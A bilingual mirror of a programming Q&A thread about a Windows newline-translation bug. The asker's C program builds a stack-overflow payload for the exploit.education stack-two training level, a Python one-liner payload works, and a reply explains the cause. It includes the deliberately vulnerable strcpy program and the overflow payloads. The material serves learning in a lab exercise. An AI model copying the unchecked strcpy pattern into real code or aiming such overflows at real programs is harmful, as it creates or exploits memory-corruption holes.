用不同语言编写的相同堆栈溢出漏洞不会给出相同的结果

发布于 2025-01-17 01:46:41 字数 3173 浏览 0 评论 0原文

我正在用 C 语言针对 exploit.education 的 stack-two 编写一个堆栈溢出漏洞利用。< br> stack-two 程序的稍微修改版本如下:

/*
 * phoenix/stack-two, by https://exploit.education
 * The aim is to change the contents of the changeme variable to 0x0d0a090a
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
    struct {
        char buffer[64];
        volatile int changeme;
    } locals;

    printf("Welcome to stack-two, brought to you by https://exploit.education\n");

    char *ptr = getenv("ExploitEducation");
    if (ptr == NULL) {
        fprintf(stderr, "please set the ExploitEducation environment variable\n");
        exit(1);
    }

    locals.changeme = 0;
    strcpy(locals.buffer, ptr);

    if (locals.changeme == 0x0d0a090a) {
        puts("Well done, you have successfully set changeme to the correct value");
    } else {
        printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
            locals.changeme);
    }

    exit(0);
}

我的利用如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef unsigned int u32;

int main() {
    const int size = 100;
    char buffer[size];

    memset(buffer, 0, size);  // Zero out the buffer
    memset(buffer, 'x', 64);  // Add 64 'x' to the buffer

    u32 changeme = 0x0d0a090a;
    memcpy(buffer + 64, &changeme, 4);  // appending 0x0d0a090a to buffer

    // Printing the buffer
    for (int i = 0; i < 68; ++i) {
        printf("%c", buffer[i]);
    }

    // Writing the buffer into a file for testing purpose.
    FILE *fd = fopen("bb.bin", "wb");
    fwrite(buffer, 1, 68, fd);
    fclose(fd);
}

然后按如下方式设置 ExploitEducation 环境变量:

ExploitEducation=$(./a.exe)  # a.exe is the exploit binary

这应该有效,但是当我执行 stack-two 输出是:

Welcome to level 2, brought to you by https://exploit.education
Almost! changeme is currently 0x0d090a0d, we want 0x0d0a090a

当我进一步调查并看到 bb.bin 的十六进制转储时,它是正确的,并且剥削应该 工作。
bb.bin的hexdump如下:

00000000: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000010: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000020: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000030: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000040: 0a09 0a0d                                ....

那么,为什么漏洞利用不起作用呢?为什么此漏洞的 Python 版本(如下所示)可以工作,而 C 版本却不能?

工作漏洞

我有一个用 python 编写的工作漏洞。

import sys

sys.stdout.buffer.write(b"x" * 64 + b"\x0a\x09\x0a\x0d")

编辑:
正如伦丁建议的那样,我尝试改变 u32 changeme = 0x0d0a090a; 改为 uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };,但没有成功。
我还尝试调整字节顺序和用于布局字节的 C 语言结构,但没有任何效果:(。

I was writing a stack overflow exploit in C against stack-two of exploit.education.
A little modified version of the the stack-two program is as follows:

/*
 * phoenix/stack-two, by https://exploit.education
 * The aim is to change the contents of the changeme variable to 0x0d0a090a
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
    struct {
        char buffer[64];
        volatile int changeme;
    } locals;

    printf("Welcome to stack-two, brought to you by https://exploit.education\n");

    char *ptr = getenv("ExploitEducation");
    if (ptr == NULL) {
        fprintf(stderr, "please set the ExploitEducation environment variable\n");
        exit(1);
    }

    locals.changeme = 0;
    strcpy(locals.buffer, ptr);

    if (locals.changeme == 0x0d0a090a) {
        puts("Well done, you have successfully set changeme to the correct value");
    } else {
        printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
            locals.changeme);
    }

    exit(0);
}

My exploit is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef unsigned int u32;

int main() {
    const int size = 100;
    char buffer[size];

    memset(buffer, 0, size);  // Zero out the buffer
    memset(buffer, 'x', 64);  // Add 64 'x' to the buffer

    u32 changeme = 0x0d0a090a;
    memcpy(buffer + 64, &changeme, 4);  // appending 0x0d0a090a to buffer

    // Printing the buffer
    for (int i = 0; i < 68; ++i) {
        printf("%c", buffer[i]);
    }

    // Writing the buffer into a file for testing purpose.
    FILE *fd = fopen("bb.bin", "wb");
    fwrite(buffer, 1, 68, fd);
    fclose(fd);
}

Then setting ExploitEducation environment variable as follows:

ExploitEducation=$(./a.exe)  # a.exe is the exploit binary

This should have worked but when I executed stack-two the output was:

Welcome to level 2, brought to you by https://exploit.education
Almost! changeme is currently 0x0d090a0d, we want 0x0d0a090a

When I investigated furthur and saw the hexdump of bb.bin, it was correct and the exploit should work.
hexdump of bb.bin is as follows:

00000000: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000010: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000020: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000030: 7878 7878 7878 7878 7878 7878 7878 7878  xxxxxxxxxxxxxxxx
00000040: 0a09 0a0d                                ....

So, why does the exploit not work? Why does the python version of this exploit (given below) works while the C version does not?

Working Exploit

I have a working exploit written in python.

import sys

sys.stdout.buffer.write(b"x" * 64 + b"\x0a\x09\x0a\x0d")

EDIT:
As Lundin suggested, I tried changing
u32 changeme = 0x0d0a090a; to uint8_t changeme[] = { 0x0d, 0x0a, 0x09, 0x0a };, but it didn't work.
I also tried playing around with the order of bytes and the C language constructs used to lay out the bytes, but nothing worked :(.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

月野兔 2025-01-24 01:46:41

问题在于行结尾。 "\x0d\x0a" 是 Windows 风格的行结尾 ("\r\n"),"\x0a" 是 Linux 风格的行结尾 ("\r\n") -样式行结尾("\n")。 C 假设它比您更了解,并将 Linux 风格的 "\n" 转换为 Windows 风格的 "\r\n"。如果您以 "w" 模式而不是 "wb" 模式打开 bb.bin 文件,您应该会看到同样的情况发生。

那么,解决方案是将 stdout 更改为二进制模式。您可以通过重新打开 stdout 使用 freopen(NULL,"wb",stdout); 进行流式传输。为了安全起见,您还可以避免 printf 并直接写入 stdout,如 fwrite(buffer,1,68,stdout);

作为更一般的提示,使用诸如 xxd 之类的实用程序(例如 ./a.exe | xxd )直接检查输出可以帮助您直接查看实际的输出感兴趣,而不是像您在这里那样意外地修复调试代码中的问题。

The problem is with line endings. "\x0d\x0a" is a Windows-style line ending ("\r\n") and "\x0a" is a Linux-style line ending ("\n"). C assumes it knows better than you and translates the Linux-style "\n" into a Windows-style "\r\n". If you open your bb.bin file in "w" mode instead of "wb" mode, you should see the same thing happening.

The solution, then, is to change stdout into binary mode. You can do this by reopening the stdout stream with freopen(NULL,"wb",stdout);. Just to be safe, you can also avoid printf and write to stdout directly like fwrite(buffer,1,68,stdout);.

As a more general tip, examining the output directly with a utility like xxd (like ./a.exe | xxd) helps you directly look at the output you're actually interested in, instead of accidentally fixing the problem in your debug code like you did here.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文